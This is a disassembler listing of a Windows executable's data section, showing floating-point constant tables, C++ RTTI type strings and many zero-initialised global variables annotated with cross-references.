dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_438860 dd 2 dup(0) ; DATA XREF: sub_41F71C+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_4389C0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_41F71C+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_438B20 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421CD8o
; .nsp0:00421E04o ...
align 8
a_?avexception@ db '.?AVexception@@',0
off_438B38 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421CF0o
; .nsp0:00421D84o ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_438B58 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421D08o
; .nsp0:00421D4Co ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_438B78 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421D90o
; .nsp0:00421DD4o ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_438B98 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421E10o
; .nsp0:00421E4Co
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_41DF02
align 8
byte_438BB8 db 0 ; DATA XREF: sub_401447+1D3w
; sub_401447+2D2o
align 2
word_438BBA dw 0 ; DATA XREF: sub_401447+1E3w
word_438BBC dw 0 ; DATA XREF: sub_401447+1E9w
word_438BBE dw 0 ; DATA XREF: sub_401447+1F0w
byte_438BC0 db 0 ; DATA XREF: sub_401447+1F7w
byte_438BC1 db 0 ; DATA XREF: sub_401447+1FEw
word_438BC2 dw 0 ; DATA XREF: sub_401447+204w
dword_438BC4 dd 0 ; DATA XREF: sub_401447+234w
; sub_401447+250w
dword_438BC8 dd 0 ; DATA XREF: sub_401447+258w
byte_438BCC db 0 ; DATA XREF: sub_401447+26Aw
byte_438BCD db 0 ; DATA XREF: sub_401447+27Dw
word_438BCE dw 0 ; DATA XREF: sub_401447+295w
word_438BD0 dw 0 ; DATA XREF: sub_401447+2A4w
word_438BD2 dw 0 ; DATA XREF: sub_401447+29Cw
dword_438BD4 dd 101h dup(0) ; DATA XREF: sub_401447+2B9o
dword_438FD8 dd 0 ; DATA XREF: sub_402FDD+9Eo
byte_438FDC db 0 ; DATA XREF: sub_402FDD+36r
; sub_4030C0+37r ...
align 10h
dword_438FE0 dd 0 ; DATA XREF: sub_4036D4+10w
; sub_4036EB+30r ...
dd 2 dup(0)
dword_438FEC dd 2 dup(0) ; DATA XREF: sub_404532+68o
dword_438FF4 dd 0 ; DATA XREF: sub_403FD2+13o
; sub_40CE55+5B71o ...
dword_438FF8 dd 0 ; DATA XREF: sub_405A0C+2Aw
; sub_405A0C+51r ...
dword_438FFC dd 0 ; DATA XREF: sub_4036EB+AEr
; .nsp0:0040494Cr ...
dd 2 dup(0)
dword_439008 dd 0 ; DATA XREF: sub_4071FF+18r
; sub_407652+92w ...
dword_43900C dd 0 ; DATA XREF: sub_40778B+4Dr
; sub_40799F+D9w ...
dd 256h dup(0)
dword_439968 dd 6 dup(0) ; DATA XREF: sub_40778B+CFo
; sub_40778B+138o ...
dword_439980 dd 0 ; DATA XREF: sub_407276+82w
; sub_407276+102o
dword_439984 dd 41h dup(0) ; DATA XREF: sub_407276+41o
dword_439A88 dd 41h dup(0) ; DATA XREF: sub_407276+63o
dword_439B8C dd 0 ; DATA XREF: sub_407276+F8w
; sub_407276+114r
dword_439B90 dd 0 ; DATA XREF: sub_407276+52w
dword_439B94 dd 0 ; DATA XREF: sub_407276+4Dw
; sub_407276+CFr
dword_439B98 dd 20h dup(0) ; DATA XREF: sub_407276+9Ao
; sub_407276+BAo
dword_439C18 dd 0 ; DATA XREF: sub_407276+8Fw
dword_439C1C dd 0 ; DATA XREF: sub_407276+A7w
; sub_407276+C7w
dword_439C20 dd 0 ; DATA XREF: sub_407276:loc_4073A0r
align 8
dword_439C28 dd 0 ; DATA XREF: sub_407276+2D5w
; sub_407276+32Eo
dword_439C2C dd 0A2h dup(0) ; DATA XREF: sub_407276+2C3o
dword_439EB4 dd 41h dup(0) ; DATA XREF: sub_407276+28Do
dword_439FB8 dd 0 ; DATA XREF: sub_407276+2BAw
; sub_407276+2E1r
align 10h
dword_439FC0 dd 0 ; DATA XREF: sub_407276+324w
; sub_407276+340r
dword_439FC4 dd 0 ; DATA XREF: sub_407276+2E7w
dword_439FC8 dd 0 ; DATA XREF: sub_407276+2F4w
dword_439FCC dd 0 ; DATA XREF: sub_407276+2B4w
dd 0
dword_439FD4 dd 0 ; DATA XREF: sub_407276:loc_4075CCr
dword_439FD8 dd 0 ; DATA XREF: sub_407276+1A1w
; sub_407276+221o
dword_439FDC dd 41h dup(0) ; DATA XREF: sub_407276+163o
dword_43A0E0 dd 41h dup(0) ; DATA XREF: sub_407276+182o
dword_43A1E4 dd 0 ; DATA XREF: sub_407276+217w
; sub_407276+233r
dword_43A1E8 dd 0 ; DATA XREF: sub_407276+171w
dword_43A1EC dd 0 ; DATA XREF: sub_407276+1EEr
dword_43A1F0 dd 20h dup(0) ; DATA XREF: sub_407276+1B9o
; sub_407276+1D9o
dword_43A270 dd 0 ; DATA XREF: sub_407276+1AEw
dword_43A274 dd 0 ; DATA XREF: sub_407276+1C6w
; sub_407276+1E6w
dword_43A278 dd 0 ; DATA XREF: sub_407276:loc_4074C0r
align 10h
dword_43A280 dd 0 ; DATA XREF: sub_4089F2+489w
; sub_4089F2+4CDr
dword_43A284 dd 0 ; DATA XREF: sub_4089F2+65w
; sub_413DD2+F5r
dword_43A288 dd 0 ; DATA XREF: sub_4089F2+7EDw
; sub_4089F2+862r ...
dword_43A28C dd 0 ; DATA XREF: sub_4089F2+9BAw
; sub_4089F2+A18r ...
dword_43A290 dd 0 ; DATA XREF: sub_4089F2+96Cw
; sub_4089F2+9E8r ...
dword_43A294 dd 0 ; DATA XREF: sub_4089F2+46Fw
; sub_4089F2+4BDr
dword_43A298 dd 0 ; DATA XREF: sub_4021FB+ECr
; sub_4021FB+109r ...
dword_43A29C dd 0 ; DATA XREF: sub_4089F2+9ADw
; sub_4089F2+A10r ...
dword_43A2A0 dd 0 ; DATA XREF: sub_4089F2+354w
; sub_4089F2+3A9r ...
dword_43A2A4 dd 0 ; DATA XREF: sub_4089F2+3F1w
; sub_40AAD1+11Er
dword_43A2A8 dd 0 ; DATA XREF: sub_4089F2+361w
; sub_4089F2+3B1r ...
dword_43A2AC dd 0 ; DATA XREF: sub_4089F2+3A2w
; sub_4133C0+ADr
dword_43A2B0 dd 0 ; DATA XREF: sub_405B23+115r
; sub_4084D3+7Dr ...
dword_43A2B4 dd 0 ; DATA XREF: sub_4089F2+72w
; sub_4089F2+D2r ...
dword_43A2B8 dd 0 ; DATA XREF: sub_4089F2+95Fw
; sub_4089F2+9DBr ...
dword_43A2BC dd 0 ; DATA XREF: sub_4089F2+388w
; sub_4089F2+3C9r ...
dword_43A2C0 dd 0 ; DATA XREF: sub_4089F2+83Bw
; sub_4089F2+88Er ...
dword_43A2C4 dd 0 ; DATA XREF: sub_4085D3+58r
; sub_4089F2+2A5w ...
dword_43A2C8 dd 0 ; DATA XREF: sub_4089F2+82Ew
; sub_4089F2+886r ...
dword_43A2CC dd 0 ; DATA XREF: sub_4089F2+B3w
dword_43A2D0 dd 0 ; DATA XREF: sub_4089F2+848w
; sub_4089F2+896r ...
dword_43A2D4 dd 0 ; DATA XREF: sub_407BFE+7Er
; sub_4089F2+52Fw ...
dword_43A2D8 dd 0 ; DATA XREF: sub_4089F2+58w
; sub_4089F2+CAr ...
dword_43A2DC dd 0 ; DATA XREF: sub_4089F2+916w
; sub_40A217+11Ar
dword_43A2E0 dd 0 ; DATA XREF: sub_4089F2+A66w
; sub_4089F2+A6Dr ...
dword_43A2E4 dd 0 ; DATA XREF: sub_4089F2+A6w
; sub_4089F2+F2r
dword_43A2E8 dd 0 ; DATA XREF: sub_4089F2+462w
; sub_4089F2+4B5r
dword_43A2EC dd 0 ; DATA XREF: sub_40760A+20r
; sub_4089F2+5D8w ...
dword_43A2F0 dd 0 ; DATA XREF: sub_4089F2+9A0w
; sub_4089F2+A08r
dword_43A2F4 dd 0 ; DATA XREF: sub_4024DC+280r
; sub_4089F2+5CBw ...
dword_43A2F8 dd 0 ; DATA XREF: sub_4030C0+9Ar
; sub_4089F2+B21w
dword_43A2FC dd 0 ; DATA XREF: sub_4089F2+7E0w
; sub_4089F2+84Fr ...
dword_43A300 dd 0 ; DATA XREF: sub_4089F2+1B3w
; sub_409DF3+15r
dword_43A304 dd 0 ; DATA XREF: sub_4089F2+979w
; sub_4089F2+9F0r ...
dword_43A308 dd 0 ; DATA XREF: sub_4089F2+36Ew
; sub_4089F2+3B9r ...
dword_43A30C dd 0 ; DATA XREF: sub_4089F2+37Bw
; sub_4089F2+3C1r ...
dword_43A310 dd 0 ; DATA XREF: sub_4089F2+C56w
; sub_4089F2+C5Dr
dword_43A314 dd 0 ; DATA XREF: sub_4089F2+68Ew
dword_43A318 dd 0 ; DATA XREF: sub_4010B2:loc_4013DDr
; sub_4018CA:loc_401B70r ...
dword_43A31C dd 0 ; DATA XREF: sub_4089F2+496w
dword_43A320 dd 0 ; DATA XREF: sub_4089F2+9C7w
; sub_4089F2+A20r ...
dword_43A324 dd 0 ; DATA XREF: sub_4089F2+2B2w
; sub_4089F2+2DEr ...
dword_43A328 dd 0 ; DATA XREF: sub_4089F2+7Fw
; sub_4089F2+DAr ...
dword_43A32C dd 0 ; DATA XREF: sub_4089F2+B6Ew
; sub_4089F2+B75r ...
dword_43A330 dd 0 ; DATA XREF: sub_4010B2+2Fr
; sub_4018CA+2Fr ...
dword_43A334 dd 0 ; DATA XREF: sub_4089F2+807w
; sub_4089F2+872r ...
dword_43A338 dd 0 ; DATA XREF: sub_4089F2+986w
; sub_4089F2+9F8r
dword_43A33C dd 0 ; DATA XREF: sub_404F08+5Ar
; sub_404F08+8Cr ...
dword_43A340 dd 0 ; DATA XREF: sub_4021FB+40r
; sub_4021FB+63r ...
dword_43A344 dd 0 ; DATA XREF: sub_4089F2+8FCw
; sub_4089F2+910r ...
dword_43A348 dd 0 ; DATA XREF: sub_4089F2+BF9w
dword_43A34C dd 0 ; DATA XREF: sub_4010B2:loc_4013A7r
; sub_401447+3Cr ...
dword_43A350 dd 0 ; DATA XREF: sub_4089F2+821w
; sub_4089F2+855r
dword_43A354 dd 0 ; DATA XREF: sub_4021FB+50r
; sub_4021FB+78r ...
dword_43A358 dd 0 ; DATA XREF: sub_4089F2+172w
; sub_4089F2+1C2r
dword_43A35C dd 0 ; DATA XREF: sub_4089F2+65Aw
; sub_4089F2+786r ...
dword_43A360 dd 0 ; DATA XREF: sub_4033CB+20Ar
; sub_4036EB+5Er ...
dword_43A364 dd 0 ; DATA XREF: sub_4024DC+16Er
; sub_4089F2+549w ...
dword_43A368 dd 0 ; DATA XREF: sub_4089F2+8BDw
; sub_4089F2:loc_4092CDw ...
dword_43A36C dd 0 ; DATA XREF: sub_4089F2+28Bw
; sub_4089F2+2C6r ...
dword_43A370 dd 0 ; DATA XREF: sub_407D86+98r
; sub_4089F2+681w ...
dword_43A374 dd 0 ; DATA XREF: sub_4089F2+30Fw
; sub_4089F2+323r ...
dword_43A378 dd 0 ; DATA XREF: sub_4089F2+395w
; sub_4089F2+3D1r ...
dword_43A37C dd 0 ; DATA XREF: sub_404F08+192r
; sub_404F08+1C6r ...
dword_43A380 dd 0 ; DATA XREF: sub_4089F2+7FAw
; sub_4089F2+86Ar ...
dword_43A384 dd 0 ; DATA XREF: sub_4021FB+FCr
; sub_4089F2+206w ...
dword_43A388 dd 0 ; DATA XREF: sub_4089F2+18Cw
; sub_4089F2+1D2r ...
dword_43A38C dd 0 ; DATA XREF: sub_4089F2+814w
; sub_4089F2+87Ar ...
dword_43A390 dd 0 ; DATA XREF: sub_406C3E+244r
; sub_4089F2+606w ...
dword_43A394 dd 0 ; DATA XREF: sub_4085D3+19Br
; sub_4089F2+2BFw ...
dword_43A398 dd 0 ; DATA XREF: sub_4010B2+6Fr
; sub_401447+AAr ...
dword_43A39C dd 0 ; DATA XREF: sub_4089F2+302w
; sub_4089F2+316r ...
dword_43A3A0 dd 0 ; DATA XREF: sub_405B23+F9r
; sub_406C3E+1FCr ...
dword_43A3A4 dd 0 ; DATA XREF: sub_4089F2+42Ew
; sub_4089F2+490r
dword_43A3A8 dd 0 ; DATA XREF: sub_4089F2+199w
; sub_4089F2+1DAr ...
dword_43A3AC dd 0 ; DATA XREF: sub_4089F2+347w
; sub_4089F2+39Cr ...
dword_43A3B0 dd 0 ; DATA XREF: sub_4089F2+A73w
dword_43A3B4 dd 0 ; DATA XREF: sub_4010B2+EBr
; sub_4010B2+1F9r ...
dword_43A3B8 dd 0 ; DATA XREF: sub_4010B2+87r
; sub_4010B2+9Dr ...
dword_43A3BC dd 0 ; DATA XREF: sub_4089F2+4Bw
; sub_4089F2+C2r ...
dword_43A3C0 dd 0 ; DATA XREF: sub_4089F2+455w
; sub_4089F2+4ADr
dword_43A3C4 dd 0 ; DATA XREF: sub_4089F2+165w
; sub_4089F2+1BAr ...
dword_43A3C8 dd 0 ; DATA XREF: sub_4089F2+9E1w
; sub_413CA9+72r
dword_43A3CC dd 0 ; DATA XREF: sub_4089F2+667w
; sub_4089F2+78Er
dword_43A3D0 dd 0 ; DATA XREF: sub_4024DC+205r
; sub_4033CB+23Br ...
dword_43A3D4 dd 0 ; DATA XREF: sub_404F08+1D9r
; sub_404F08+245r ...
dword_43A3D8 dd 0 ; DATA XREF: sub_4089F2+3Ew
; sub_4089F2+BAr ...
dword_43A3DC dd 0 ; DATA XREF: sub_4089F2+298w
; sub_4089F2+2CEr ...
dword_43A3E0 dd 0 ; DATA XREF: sub_405B23+9Er
; sub_407BFE+9Cr ...
dword_43A3E4 dd 0 ; DATA XREF: sub_4024DC+EBr
; sub_405B23+89r ...
dword_43A3E8 dd 0 ; DATA XREF: sub_4089F2+C63w
dword_43A3EC dd 0 ; DATA XREF: sub_4089F2+85Bw
; sub_40AE4B+205r ...
dword_43A3F0 dd 0 ; DATA XREF: sub_4089F2+112w
dword_43A3F4 dd 0 ; DATA XREF: sub_404F08+11Er
; sub_4089F2+BB8w ...
dword_43A3F8 dd 0 ; DATA XREF: sub_401447+119r
; sub_401447+1A0r ...
dword_43A3FC dd 0 ; DATA XREF: sub_4089F2+43Bw
; sub_4089F2+49Dr
dword_43A400 dd 0 ; DATA XREF: sub_4089F2+47Cw
; sub_4089F2+4C5r
dword_43A404 dd 0 ; DATA XREF: sub_4089F2+448w
; sub_4089F2+4A5r
dword_43A408 dd 0 ; DATA XREF: sub_4033CB+221r
; sub_4033CB+249r ...
dword_43A40C dd 0 ; DATA XREF: sub_4089F2+1A6w
; sub_4089F2+1E2r ...
dword_43A410 dd 0 ; DATA XREF: sub_4089F2+9D4w
; sub_4089F2+A28r ...
dword_43A414 dd 0 ; DATA XREF: sub_4089F2+158w
; sub_4089F2+1ADr ...
dword_43A418 dd 0 ; DATA XREF: sub_4089F2+8Cw
; sub_4089F2+E2r ...
dword_43A41C dd 0 ; DATA XREF: sub_4010B2+2C2r
; sub_401447+2DAr ...
dword_43A420 dd 0 ; DATA XREF: sub_4089F2+B14w
; sub_4089F2+B30r
dword_43A424 dd 0 ; DATA XREF: sub_4089F2+31Cw
; sub_413D67+55r
dword_43A428 dd 0 ; DATA XREF: sub_4085D3+3Fr
; sub_4089F2+27Ew ...
dword_43A42C dd 0 ; DATA XREF: sub_4089F2+B7Bw
dword_43A430 dd 0 ; DATA XREF: sub_4089F2+ABDw
; sub_40A093+CEr
dword_43A434 dd 0 ; DATA XREF: sub_4089F2+AB0w
; sub_4089F2+AB7r ...
dword_43A438 dd 0 ; DATA XREF: sub_401447+2Er
; sub_401BD6+55r ...
dword_43A43C dd 0 ; DATA XREF: sub_407D86+88r
; sub_4089F2+674w ...
dword_43A440 dd 0 ; DATA XREF: sub_404F08+71r
; sub_4089F2+BC5w ...
dword_43A444 dd 0 ; DATA XREF: sub_4024DC+28Dr
; sub_406C3E+250r ...
dword_43A448 dd 0 ; DATA XREF: sub_4089F2+993w
; sub_4089F2+A00r ...
dword_43A44C dd 0 ; DATA XREF: sub_405B23+13Ar
; sub_407BFE+B3r ...
dword_43A450 dd 0 ; DATA XREF: sub_4010B2+324r
; sub_401447+2F0r ...
dword_43A454 dd 0 ; DATA XREF: sub_405B23+B7r
; sub_405B23+39Fr ...
dword_43A458 dd 0 ; DATA XREF: sub_402FDD+B0r
; sub_402FDD+C8r ...
dword_43A45C dd 0 ; DATA XREF: sub_4010B2+4Fr
; sub_4018CA+4Fr ...
dword_43A460 dd 0 ; DATA XREF: sub_4089F2+AFAw
; sub_4089F2+B1Br
dword_43A464 dd 0 ; DATA XREF: sub_4089F2+31w
; sub_4089F2+ADr ...
dword_43A468 dd 0 ; DATA XREF: sub_4089F2+17Fw
; sub_4089F2+1CAr
align 10h
dword_43A470 dd 0 ; DATA XREF: sub_4089F2+909w
; sub_4089F2+91Dr ...
dword_43A474 dd 0 ; DATA XREF: sub_4089F2+99w
; sub_4089F2+EAr ...
dword_43A478 dd 0 ; DATA XREF: sub_4089F2:loc_408AF0w
; sub_4089F2+12Bw ...
dword_43A47C dd 0 ; DATA XREF: sub_4089F2+126w
; sub_40967F+1Cr
dword_43A480 dd 0 ; DATA XREF: sub_4089F2:loc_408BE0w
; sub_4089F2:loc_408C47w ...
dword_43A484 dd 0 ; DATA XREF: sub_4089F2+250w
; sub_40967F+50r
dword_43A488 dd 0 ; DATA XREF: sub_4089F2:loc_408CDCw
; sub_4089F2:loc_408D21w ...
dword_43A48C dd 0 ; DATA XREF: sub_4089F2+400w
; sub_40967F+84r
dword_43A490 dd 0 ; DATA XREF: sub_4089F2:loc_408ED8w
; sub_40967F:loc_40972Fr
dword_43A494 dd 0 ; DATA XREF: sub_4089F2+4E1w
; sub_40967F+B8r
dword_43A498 dd 0 ; DATA XREF: sub_4089F2:loc_4091A9w
; sub_40967F:loc_409763r
dword_43A49C dd 0 ; DATA XREF: sub_4089F2+7B2w
; sub_40967F+ECr
dword_43A4A0 dd 0 ; DATA XREF: sub_4089F2:loc_409294w
; sub_4089F2+8D1w ...
dword_43A4A4 dd 0 ; DATA XREF: sub_4089F2+8CCw
; sub_40967F+120r
dword_43A4A8 dd 0 ; DATA XREF: sub_4089F2:loc_409328w
; sub_40967F:loc_4097CBr ...
dword_43A4AC dd 0 ; DATA XREF: sub_4089F2+931w
; sub_40967F+154r
dword_43A4B0 dd 0 ; DATA XREF: sub_4089F2:loc_409433w
; sub_40967F:loc_4097FFr ...
dword_43A4B4 dd 0 ; DATA XREF: sub_4089F2+A3Cw
; sub_40967F+188r
dword_43A4B8 dd 0 ; DATA XREF: sub_4089F2:loc_40947Dw
; sub_40967F:loc_409833r
dword_43A4BC dd 0 ; DATA XREF: sub_4089F2+A86w
; sub_40967F+1BCr
dword_43A4C0 dd 0 ; DATA XREF: sub_4089F2:loc_4094C7w
; sub_40967F:loc_409867r
dword_43A4C4 dd 0 ; DATA XREF: sub_4089F2+AD0w
; sub_40967F+1F0r
dword_43A4C8 dd 0 ; DATA XREF: sub_4089F2:loc_40953Bw
; sub_40967F:loc_40989Br
dword_43A4CC dd 0 ; DATA XREF: sub_4089F2+B44w
; sub_40967F+224r
dword_43A4D0 dd 0 ; DATA XREF: sub_4089F2:loc_409585w
; sub_40967F:loc_4098CFr
dword_43A4D4 dd 0 ; DATA XREF: sub_4089F2+B8Ew
; sub_40967F+258r
dword_43A4D8 dd 0 ; DATA XREF: sub_4089F2:loc_409623w
; sub_40967F:loc_409903r
dword_43A4DC dd 0 ; DATA XREF: sub_4089F2+C2Cw
; sub_40967F+28Cr
dword_43A4E0 dd 0 ; DATA XREF: sub_4089F2:loc_40966Dw
; sub_40967F:loc_409937r
dword_43A4E4 dd 0 ; DATA XREF: sub_4089F2+C76w
; sub_40967F+2C0r
dword_43A4E8 dd 81h dup(0) ; DATA XREF: sub_409C08+6Ao
dword_43A6EC dd 5 dup(0) ; DATA XREF: sub_40A171+32o
dword_43A700 dd 0 ; DATA XREF: sub_40A5B9:loc_40A5DAr
; sub_40A6A8+54r ...
dword_43A704 dd 0 ; DATA XREF: sub_40A5B9r
; sub_40A6A8+37r ...
dword_43A708 dd 0 ; DATA XREF: sub_40A5E9+1Ar
; sub_40A7FD+83o
dword_43A70C dd 0 ; DATA XREF: sub_40A5B9:loc_40A5CDr
; sub_40A7FD+11Bw
dword_43A710 dd 0Dh dup(0) ; DATA XREF: sub_40A6A8+13o
; sub_40A7FD:loc_40A93Ao
dword_43A744 dd 0 ; DATA XREF: sub_40A6A8+CDr
; sub_40A6A8+ECr ...
dd 0
dword_43A74C dd 0Eh dup(0) ; DATA XREF: sub_40A9B2+47o
dword_43A784 dd 1000h dup(0) ; DATA XREF: sub_40B16D+1Do
; sub_40B20Do ...
dword_43E784 dd 0 ; DATA XREF: sub_40B16D+13o
; sub_40B20D+Eo ...
dword_43E788 dd 0Eh dup(0) ; DATA XREF: sub_40C218+Fo
dword_43E7C0 dd 2 dup(0) ; DATA XREF: sub_40C59A+C8o
dword_43E7C8 dd 0 ; DATA XREF: sub_40B075+Ao
; sub_40B075+44r ...
dd 5 dup(0)
dword_43E7E0 dd 0 ; DATA XREF: sub_40B075+60r
; sub_40CE55+BC8r
dd 2D9h dup(0)
dword_43F348 dd 0 ; DATA XREF: sub_40778B+A5r
; sub_40B075+2Do ...
dd 7Fh dup(0)
dword_43F548 dd 0 ; DATA XREF: sub_414F93+41w
; sub_4150CE+40w ...
dword_43F54C dd 0 ; DATA XREF: sub_406100+234w
; sub_40778B:loc_4077D2r ...
dword_43F550 dd 0 ; DATA XREF: sub_40A7FD+164w
; sub_414F93+52w ...
dword_43F554 dd 0 ; DATA XREF: sub_4024DC+E0w
; sub_405B23+7Ew ...
dword_43F558 dd 0 ; DATA XREF: sub_407D86+11Ew
; sub_407F6D+53r ...
dword_43F55C dd 0 ; DATA XREF: sub_406100+261w
; sub_407276+122w ...
byte_43F560 db 0 ; DATA XREF: sub_40CB75+91o
; sub_40CE55+322Br ...
align 4
dd 2A7h dup(0)
dword_440000 dd 15D4h dup(0) ; DATA XREF: .nsp0:00422640o
dword_445750 dd 8C3Ah dup(0) ; DATA XREF: .nsp0:off_426918o
dword_468838 dd 0 ; DATA XREF: sub_407135:loc_4071A3r
; sub_40C682+47w ...
align 10h
dword_468840 dd 0 ; DATA XREF: sub_40C682:loc_40CA87o
dword_468844 dd 20h dup(0) ; DATA XREF: sub_40C682+39Do
; sub_40C682+456o ...
dword_4688C4 dd 10h dup(0) ; DATA XREF: sub_40C682+3B4o
; sub_40CE55+91Do
dword_468904 dd 24h dup(0) ; DATA XREF: sub_40C682+3CBo
dword_468994 dd 0 ; DATA XREF: sub_40C682+3BFw
; sub_40C682+46Dw ...
dword_468998 dd 0 ; DATA XREF: sub_40C682+3DEw
dd 3 dup(0)
dword_4689A8 dd 0 ; DATA XREF: sub_40C682+147r
dword_4689AC dd 0 ; DATA XREF: sub_40CB75+72r
; sub_40CE55+276r
byte_4689B0 db 0 ; DATA XREF: sub_40CCDD+28r
; sub_40CCDD+30o
align 4
dword_4689B4 dd 0 ; DATA XREF: sub_40283D+9Fo
dword_4689B8 dd 0 ; DATA XREF: sub_40C682+40Aw
; sub_40C682+421r ...
dword_4689BC dd 0 ; DATA XREF: sub_40C682+3A2w
; sub_40CE55+8C1r
dword_4689C0 dd 17h dup(0) ; DATA XREF: sub_412F10:loc_41302Do
; sub_412F10+131o ...
dword_468A1C dd 7 dup(0) ; DATA XREF: sub_413CA9+7Co
; sub_413CA9+A5o
dword_468A38 dd 0 ; DATA XREF: sub_4151DB+16o
; sub_4151FA+19o
dword_468A3C dd 78h dup(0) ; DATA XREF: sub_41518E+3Do
dword_468C1C dd 0 ; DATA XREF: sub_41328A+45w
; sub_41328A+4Dr ...
dword_468C20 dd 17h dup(0) ; DATA XREF: sub_413B75:loc_413C97o
; sub_413B75+12Do
dword_468C7C dd 80h dup(0) ; DATA XREF: sub_4131CB+4Bo
; sub_4131CB+7Do ...
byte_468E7C db 0 ; DATA XREF: sub_41328A+29r
; sub_41328A+34w
align 10h
dword_468E80 dd 80h dup(0) ; DATA XREF: sub_4134E1+61o
; sub_4134E1+88o ...
dword_469080 dd 81h dup(0) ; DATA XREF: sub_412DE7+33o
; sub_412DE7+50o ...
dword_469284 dd 81h dup(0) ; DATA XREF: sub_41449C+8Do
byte_469488 db 0 ; DATA XREF: sub_414E8C+6Ar
; sub_414E8C+98w
align 4
dd 2 dup(0)
dword_469494 dd 0 ; DATA XREF: sub_415F3B+Aw
dword_469498 dd 0 ; DATA XREF: sub_416AD4+5Er
; sub_416AD4+A4w
align 10h
word_4694A0 dw 0 ; DATA XREF: sub_416AD4+55r
; sub_416AD4+9Ao
word_4694A2 dw 0 ; DATA XREF: sub_416AD4+48r
db 2 dup(0)
word_4694A6 dw 0 ; DATA XREF: sub_416AD4+3Br
word_4694A8 dw 0 ; DATA XREF: sub_416AD4+2Er
word_4694AA dw 0 ; DATA XREF: sub_416AD4+21r
align 10h
dword_4694B0 dd 0 ; DATA XREF: sub_416C98+3Br
; sub_416C98+91w
dword_4694B4 dd 0 ; DATA XREF: sub_416881+1B9w
; sub_416E3E:loc_416EBAw ...
dword_4694B8 dd 0 ; DATA XREF: sub_417709+35w
; sub_4185CB:loc_418665w ...
dword_4694BC dd 0 ; DATA XREF: sub_41D55A+13Ar
dword_4694C0 dd 0 ; DATA XREF: .nsp0:00417B4Aw
dword_4694C4 dd 0 ; DATA XREF: .nsp0:00417B41w
dword_4694C8 dd 0 ; DATA XREF: .nsp0:00417B36w
dword_4694CC dd 0 ; DATA XREF: .nsp0:00417B28w
dword_4694D0 dd 0 ; DATA XREF: sub_40C682:loc_40C96Fr
; sub_41C8D3+91w
dword_4694D4 dd 0 ; DATA XREF: sub_40C682+2F6r
; sub_40C682+316r ...
dd 0
dword_4694DC dd 0 ; DATA XREF: sub_41C81A+44w
; sub_41F409+9r ...
dword_4694E0 dd 0 ; DATA XREF: sub_41FAC2+36r
dword_4694E4 dd 0 ; DATA XREF: sub_41F409+16r
; sub_41F7D7+4r ...
dd 0
dword_4694EC dd 0 ; DATA XREF: sub_41C8D3+2Ew
dd 0
byte_4694F4 db 0 ; DATA XREF: sub_417849+2Dw
; sub_41D17B+5r
align 4
dword_4694F8 dd 0 ; DATA XREF: sub_417849+27w
